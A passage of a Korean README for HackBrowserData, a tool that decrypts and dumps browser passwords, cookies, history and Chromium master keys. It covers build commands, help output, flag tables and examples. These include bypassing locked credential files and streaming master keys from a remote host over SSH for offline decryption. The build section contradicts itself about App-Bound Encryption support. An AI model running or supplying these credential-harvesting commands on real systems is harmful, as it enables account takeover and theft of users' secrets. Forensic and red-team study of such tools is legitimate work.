#### 크로스 플랫폼 빌드```bash
# For Windows (standard build, no Chromium 127+ ABE cookie support)
GOOS=windows GOARCH=amd64 go build ./cmd/hack-browser-data/

# For Linux
GOOS=linux GOARCH=amd64 go build ./cmd/hack-browser-data/

결과 `hack-browser-data.exe`는 Chromium 127+에서 전체 ABE 쿠키 복호화를 포함합니다.

## 사용법```
$ hack-browser-data -h
hack-browser-data decrypts and exports browser data from Chromium-based
browsers and Firefox on Windows, macOS, and Linux.

GitHub: https://github.com/moonD4rk/HackBrowserData

Usage:
  hack-browser-data [flags]
  hack-browser-data [command]

Available Commands:
  archive     Pack decryption-relevant profile files into a zip for cross-host restore
  dump        Extract and decrypt browser data (default command)
  dumpkeys    Export Chromium master keys as JSON for cross-host decryption
  help        Help about any command
  list        List detected browsers and profiles
  restore     Decrypt copied profile data using exported master keys
  version     Print version information

Flags:
  -b, --browser string        target browser: all|chrome|firefox|edge|... (default "all")
  -c, --category string       data categories (comma-separated): all|password,cookie,... (default "all")
  -d, --dir string            output directory (default "results")
  -f, --format string         output format: csv|json|cookie-editor (default "json")
  -h, --help                  help for hack-browser-data
      --keychain-pw string    macOS keychain password
  -p, --profile-path string   custom profile dir path, get with chrome://version
  -v, --verbose               enable debug logging
      --zip                   compress output to zip

Use "hack-browser-data [command] --help" for more information about a command.

> `keys.json`는 평문 마스터 키를 포함합니다 — 비밀로 취급하세요. `dumpkeys -o`는 이를 `0600` 권한으로 작성합니다; 디스크에 남기지 말고 안전한 채널로 스트리밍하는 것이 좋습니다.

#### `dumpkeys` - 크로스 호스트 암호 해독을 위한 마스터 키 내보내기

원본 호스트에서 각 Chromium 설치의 마스터 키를 파생하고 JSON으로 작성합니다 (Firefox / Safari는 이식 가능한 키가 없으므로 건너뜁니다). 기본값은 stdout이므로 SSH로 파이프할 수 있습니다.

| Flag            | Short | Default  | Description                                     |
|-----------------|-------|----------|-------------------------------------------------|
| `--browser`     | `-b`  | `all`    | 대상 브라우저 (all\|chrome\|edge\|...)         |
| `--output`      | `-o`  | *stdout* | 출력 파일 (`0600`으로 작성됨); 생략 시 stdout |
| `--keychain-pw` |       |          | macOS 키체인 비밀번호                         |

#### `archive` - 암호 해독 관련 파일을 전송을 위해 패킹

복원에 실제로 필요한 파일(쿠키, 로그인 데이터, 기록, ...)만 추출에 사용된 동일한 잠긴 파일 우회 방식을 통해 수집하므로 Windows에서 라이브 SQLite 파일을 안전하게 읽을 수 있습니다. zip은 `<browser-key>/<User Data layout>` 구조로 배치되므로 하나의 아카이브가 여러 브라우저를 담을 수 있으며 복원이 명확합니다. 항목 이름은 항상 슬래시(/)이므로 Windows에서 생성된 아카이브를 macOS / Linux에서 복원할 수 있습니다.

| Flag         | Short | Default            | Description                             |
|--------------|-------|--------------------|-----------------------------------------|
| `--browser`  | `-b`  | `all`              | 대상 브라우저 (all\|chrome\|edge\|...) |
| `--category` | `-c`  | `all`              | 데이터 카테고리, 쉼표로 구분        |
| `--output`   | `-o`  | `browser-data.zip` | 출력 아카이브 경로                     |

#### `restore` - 복사된 데이터를 내보낸 키로 복호화

각 Chromium 엔진을 `keys.json`에서 직접 재구축하고 제공된 데이터를 복호화합니다 — 분석가의 로컬 브라우저 테이블을 참조하지 않으므로 **복원할 수 있는 브라우저는 정확히 `keys.json`에 있는 볼트들입니다**. 데이터는 다음 두 가지 방법 중 하나로 제공하십시오 (정확히 하나가 필요합니다):

- `--data-zip` — `archive`로 생성된 zip; 임시 디렉토리에 추출된 후 제거됩니다.
- `--data-dir` — 디렉토리. `archive` 레이아웃 (`<browser-key>/...`, 여러 브라우저를 한 번에) 또는 단일 브라우저의 수동 복사된 `User Data` 루트 중 하나로, 단일 브라우저에 대해서만 명확하므로 `-b`와 함께 사용하십시오.

`-b`는 덤프 볼트에 대한 **선택적 필터**이며, 필수 선택자가 아닙니다.

| Flag         | Short | Default    | Description                                                |
|--------------|-------|------------|------------------------------------------------------------|
| `--keys`     |       | *required* | `dumpkeys`의 키 파일 (`-`는 stdin 사용)              |
| `--data-zip` |       |            | `archive`의 zip (`--data-dir`과 상호 배타적)  |
| `--data-dir` |       |            | 복사된 데이터 디렉토리 (`--data-zip`과 상호 배타적)     |
| `--browser`  | `-b`  |            | 이 브라우저만 복원; `--keys`의 볼트와 일치해야 함  |
| `--category` | `-c`  | `all`      | 데이터 카테고리, 쉼표로 구분                           |
| `--format`   | `-f`  | `json`     | 출력 형식 (csv\|json\|cookie-editor)                   |
| `--dir`      | `-d`  | `results`  | 출력 디렉토리                                           |
| `--zip`      |       | `false`    | 출력을 zip으로 압축                                     |

#### 크로스 호스트 예제```bash
# Stream keys over SSH (no keys.json on disk), data copied separately
ssh origin "hack-browser-data dumpkeys" | \
  hack-browser-data restore --keys - --data-zip browser-data.zip

# Restore one browser from a hand-copied User Data folder (no archive)
hack-browser-data restore --keys keys.json --data-dir ./chrome-userdata -b chrome

### 전역 플래그

| Flag        | Short | Description          |
|-------------|-------|----------------------|
| `--verbose` | `-v`  | 디버그 로깅 활성화 |

### 예제```bash
# Extract all data from all browsers (default)
hack-browser-data

# Extract specific browser and categories
hack-browser-data dump -b chrome -c password,cookie

# Export in CSV format to a custom directory (JSON is the default)
hack-browser-data dump -b chrome -f csv -d output

# Export cookies in CookieEditor format
hack-browser-data dump -f cookie-editor

# Compress output to zip
hack-browser-data dump --zip

# List detected browsers and profiles
hack-browser-data list

# List with per-category entry counts
hack-browser-data list --detail

# Use custom profile path
hack-browser-data dump -b chrome -p "/path/to/User Data/Default"